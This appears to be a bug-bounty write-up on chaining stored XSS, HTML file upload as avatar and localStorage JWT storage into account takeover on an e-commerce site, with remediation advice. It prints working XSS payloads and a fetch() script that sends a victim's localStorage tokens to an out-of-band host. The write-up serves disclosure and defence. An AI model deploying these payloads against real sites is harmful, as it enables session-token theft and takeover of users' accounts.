A Deep Dive into Chaining Multiple Vulnerabilities for Critical Impact

Executive Summary

During a routine security assessment of a Nepal-based e-commerce platform, I discovered a critical vulnerability chain that allows an attacker to achieve full account takeover through the combination of:

1. Stored Cross-Site Scripting (XSS)— Profile name field reflects unsanitized HTML 2. Arbitrary File Upload — Server accepts and serves `.html` files as avatars 3. Sensitive Data Exfiltration — JWT authentication tokens stored in `localStorage` are extracted via XSS

The attack requires no user interaction beyond viewing a malicious profile or accessing an uploaded file, making this a stored XSS vulnerability with widespread impact potential.

Vulnerability Chain

None

``` Attacker uploads malicious profile ↓ Server stores XSS payload + .html file ↓ Victim views profile OR accesses uploaded file ↓ JavaScript executes in victim's browser ↓ localStorage data (JWT tokens) exfiltrated to attacker server ↓ Attacker impersonates victim using stolen JWT ```

Technical Analysis

Finding 1: Stored XSS via Profile Name Field (CWE-79)

Severity: High Description:The user profile update endpoint `/api/v1/user/info/update` accepts HTML content in the `name` field and reflects it without sanitization in the JSON response. When this data is rendered in the application's DOM, it executes as HTML/JavaScript.

Vulnerable Request:

```

http POST /api/v1/user/info/update HTTP/1.1 Host: [REDACTED-DOMAIN].com Content-Type: multipart/form-data; boundary= — — geckoformboundary… Authorization: Bearer eyJ0eXAiOiJKV1Qi…

— — — geckoformboundary… Content-Disposition: form-data; name="name"

"><h1>Test</h1> ```

Vulnerable Response:

```json { "success": true, "message": "Profile information has been updated successfully", "user": { "id": 1622, "name": ""><h1>Test<\/h1>", … } } ```

The server returns the payload with JSON-escaped forward slashes (`\/`), but the actual stored value contains raw HTML that breaks out of attribute contexts when rendered.

Finding 2: Arbitrary File Upload (CWE-434)

Severity: Critical Description: The avatar upload functionality accepts files with `.html` extension and `text/html` content-type. These files are stored in a publicly accessible directory (`/public/uploads/all/`) and served directly by the web server.

Malicious Upload:

```http Content-Disposition: form-data; name="avatar"; filename="xss.html" Content-Type: text/html

<script>alert("XSS")</script> ```

Stored File URL: ``` https://[REDACTED-DOMAIN].com/public/uploads/all/[HASH].html ```

When accessed directly, this file executes JavaScript in the context of the origin domain, giving it full access to: - Cookies (if not HttpOnly) - localStorage data - Session tokens - Ability to perform actions as the logged-in user

Finding 3: JWT Token Exposure in localStorage (CWE-532)

Severity: High Description: The application stores the JWT `shopAccessToken` in `localStorage` rather than in `httpOnly`, `Secure`, `SameSite=Strict` cookies. This makes the token accessible to any JavaScript running on the origin — including injected XSS payloads.

Exfiltrated Data via OAST:

```json { "lastExternalReferrerTime": "1779432340185", "shopCacheVersion": "zefa3eftafu3zrkuitxpswx3oldhxh", "lastExternalReferrer": "empty", "shopRecentlyViewed": "[2263]", "shopAccessToken": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9…" } ```

None

The token has a 3-year expiration and no scope restrictions, making it extremely valuable for long-term account compromise.

Proof of Concept

Step 1: Upload Malicious Payload

Using Burp Suite Repeater, I modified the profile update request to include:

1. XSS payload in name field: `"><h1>Test</h1>` 2. Malicious HTML file as avatar: `xss.html` containing `<script>alert("XSS")</script>` 3. Data URI preview: Base64-encoded script for immediate execution

None

Step 2: Confirm File Upload

The server responded with HTTP 200 OK and confirmed the file was stored at: ``` https://[REDACTED-DOMAIN].com/public/uploads/all/[HASH].html ```

Step 3: Verify XSS Execution

Accessing the uploaded file directly triggered the JavaScript alert:

None

Step 4: Exfiltrate Sensitive Data

The advanced payload exfiltrated the victim's `localStorage` to an OAST (Out-of-Band Application Security Testing) server:

```javascript <script> fetch('https://bixm1vf68e1hmjo0x91d1ddyhpngb8zx.oastify.com', { method: 'POST', mode: 'no-cors', body: JSON.stringify(localStorage) }); </script> ```

None

Step 5: Account Takeover

With the exfiltrated JWT token, an attacker can: - Impersonate user 1622 indefinitely (until token expiry in 2027) - Access all user data and order history - Make purchases using stored payment methods - Pivot to admin accounts if they view the malicious profile

Impact Assessment

CVSS 3.1 Score: 8.1 (High)

None

Business Impact

None

Remediation Recommendations

Immediate Actions (Critical)

1. Invalidate all active JWT tokens for affected users and force password resets 2. Remove malicious uploaded files from `/public/uploads/all/` 3. Implement input sanitization on the `name` field — HTML-encode all output (`<` → `<`, `>` → `>`) 4. Restrict file uploads to safe image formats only (JPG, PNG, WebP) 5. Validate file content using magic bytes, not just extension/MIME type

Short-term Fixes (High Priority)

1. Move JWT storage from `localStorage` to `httpOnly`, `Secure`, `SameSite=Strict` cookies 2. Implement Content Security Policy (CSP) with strict `script-src` directives 3. Add security headers: — `X-Content-Type-Options: nosniff` — `X-Frame-Options: DENY` — `Content-Security-Policy: default-src 'self'` 4. Implement rate limiting on profile update endpoints

Long-term Improvements

1. Content Security Policy (CSP) with nonce-based script execution 2. Subresource Integrity (SRI) for all external scripts 3. Regular security audits and bug bounty program 4. Security awareness training for development team

None

Tools Used

- Burp Suite Professional — HTTP interception, repeater, and collaborator - Firefox — Browser testing and payload execution - Interactsh / OAST— Out-of-band data exfiltration detection - JWT.io — Token decoding and analysis

Conclusion

This vulnerability chain demonstrates how seemingly minor issues — an unsanitized profile field and permissive file upload — can combine into a critical security flaw enabling full account takeover. The attack is:

- Stored — persists indefinitely until removed - Wormable — can spread if users view attacker profiles - High-impact — complete authentication bypass via JWT theft

Acknowledgments

- Thanks to the Interactsh team for the excellent OAST platform - Burp Suite for the indispensable testing toolkit - The security community for responsible disclosure practices

Disclaimer: This research was conducted with authorization and in accordance with responsible disclosure practices. No customer data was accessed or harmed during testing. All testing was performed on a controlled account (ID: 1622) with explicit consent.

If you're a security researcher or developer, I hope this write-up helps you understand the real-world impact of XSS and file upload vulnerabilities. Always sanitize user input, validate file uploads, and store authentication tokens securely.

#CyberSecurity #BugBounty #ResponsibleDisclosure #XSS #FileUpload #JWT #WebSecurity #NepalTech**